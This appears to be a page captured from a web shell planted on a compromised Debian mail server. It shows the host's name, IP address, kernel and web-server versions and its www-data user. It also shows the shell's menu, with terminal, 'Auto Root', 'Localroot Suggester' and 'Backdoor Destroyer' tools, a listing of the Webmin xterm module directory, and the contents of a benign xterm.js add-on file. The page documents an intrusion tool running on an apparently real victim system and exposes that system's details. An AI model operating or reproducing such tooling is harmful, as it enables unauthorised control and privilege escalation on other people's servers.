Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
webmin /
xterm /
Delete
Unzip
Name
Size
Permission
Date
Action
images
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
lang
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
rc
[ DIR ]
drwxr-xr-x
2026-07-25 20:55
acl_security.pl
664
B
-rw-r--r--
2026-07-17 21:17
config
85
B
-rw-r--r--
2026-07-17 21:17
config.info
638
B
-rw-r--r--
2026-07-17 21:17
defaultacl
24
B
-rw-r--r--
2026-07-17 21:17
index.cgi
9.48
KB
-rwxr-xr-x
2026-07-17 21:22
module.info
189
B
-rw-r--r--
2026-07-17 21:17
safeacl
18
B
-rw-r--r--
2026-07-17 21:17
shellserver.pl
5.14
KB
-rwxr-xr-x
2026-07-17 21:22
xterm-addon-attach.js
1.63
KB
-rw-r--r--
2026-07-17 21:17
xterm-addon-fit.js
1.51
KB
-rw-r--r--
2026-07-17 21:17
xterm-addon-webgl.js
258.47
KB
-rw-r--r--
2026-07-17 21:17
xterm-lib.pl
3.9
KB
-rw-r--r--
2026-07-17 21:17
xterm.css
4.05
KB
-rw-r--r--
2026-07-17 21:17
xterm.js
383.97
KB
-rw-r--r--
2026-07-17 21:17
Save
Rename
// 0.13.0-beta.285 !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.AttachAddon=t():e.AttachAddon=t()}(globalThis,()=>(()=>{"use strict";var e={};return(()=>{var t=e;function s(e,t,s){return e.addEventListener(t,s),{dispose:()=>{s&&e.removeEventListener(t,s)}}}Object.defineProperty(t,"__esModule",{value:!0}),t.AttachAddon=void 0,t.AttachAddon=class{constructor(e,t){this._disposables=[],this._socket=e,this._socket.binaryType="arraybuffer",this._bidirectional=!(t&&!1===t.bidirectional)}activate(e){this._disposables.push(s(this._socket,"message",t=>{const s=t.data;e.write("string"==typeof s?s:new Uint8Array(s))})),this._bidirectional&&(this._disposables.push(e.onData(e=>this._sendData(e))),this._disposables.push(e.onBinary(e=>this._sendBinary(e)))),this._disposables.push(s(this._socket,"close",()=>this.dispose())),this._disposables.push(s(this._socket,"error",()=>this.dispose()))}dispose(){for(const e of this._disposables)e.dispose()}_sendData(e){this._checkOpenSocket()&&this._socket.send(e)}_sendBinary(e){if(!this._checkOpenSocket())return;const t=new Uint8Array(e.length);for(let s=0;s<e.length;++s)t[s]=255&e.charCodeAt(s);this._socket.send(t)}_checkOpenSocket(){switch(this._socket.readyState){case WebSocket.OPEN:return!0;case WebSocket.CONNECTING:throw new Error("Attach addon was loaded before socket was open");case WebSocket.CLOSING:return console.warn("Attach addon socket is closing"),!1;case WebSocket.CLOSED:throw new Error("Attach addon socket is closed");default:throw new Error("Unexpected socket state")}}}})(),e})());